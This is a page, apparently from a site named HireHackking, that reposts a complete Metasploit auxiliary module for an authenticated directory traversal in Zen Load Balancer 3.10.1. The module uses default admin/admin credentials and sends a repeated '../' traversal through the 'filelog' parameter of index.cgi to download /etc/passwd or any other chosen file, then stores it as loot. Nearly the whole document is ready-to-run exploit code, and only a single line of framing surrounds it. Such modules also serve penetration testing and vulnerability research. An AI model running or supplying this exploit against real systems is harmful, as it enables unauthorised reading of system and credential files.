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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Zen Load Balancer Directory Traversal",
      'Description'    => %q{
          This module exploits a authenticated directory traversal
vulnerability in Zen Load
          Balancer `v3.10.1`. The flaw exists in 'index.cgi' not
properly handling 'filelog='
          parameter which allows a malicious actor to load arbitrary file path.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Basim Alabdullah', # Vulnerability discovery
          'Dhiraj Mishra'     # Metasploit module
        ],
      'References'     =>
        [
          ['EDB', '48308']
        ],
      'DisclosureDate' => "Apr 10 2020"
    ))

    register_options(
      [
        Opt::RPORT(444),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptInt.new('DEPTH', [true, 'The max traversal depth', 16]),
        OptString.new('FILEPATH', [false, 'The name of the file to
download', '/etc/passwd']),
        OptString.new('TARGETURI', [true, "The base URI path of the
ZenConsole install", '/']),
        OptString.new('HttpUsername', [true, 'The username to use for
the HTTP server', 'admin']),
        OptString.new('HttpPassword', [false, 'The password to use for
the HTTP server', 'admin'])
      ])
  end

  def run_host(ip)
    filename = datastore['FILEPATH']
    traversal = "../" * datastore['DEPTH']

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.cgi'),
      'vars_get'=>
      {
        'id'      => '2-3',
        'filelog' => "#{traversal}#{filename}",
        'nlines'  => '100',
        'action'  => 'See logs'
      },
      'authorization' =>
basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
      }, 25)

    unless res && res.code == 200
      print_error('Nothing was downloaded')
      return
    end

    print_good("#{peer} - Downloaded #{res.body.length} bytes")
    path = store_loot(
      'zenload.http',
      'text/plain',
      ip,
      res.body,
      filename
    )
    print_good("File saved in: #{path}")
  end
end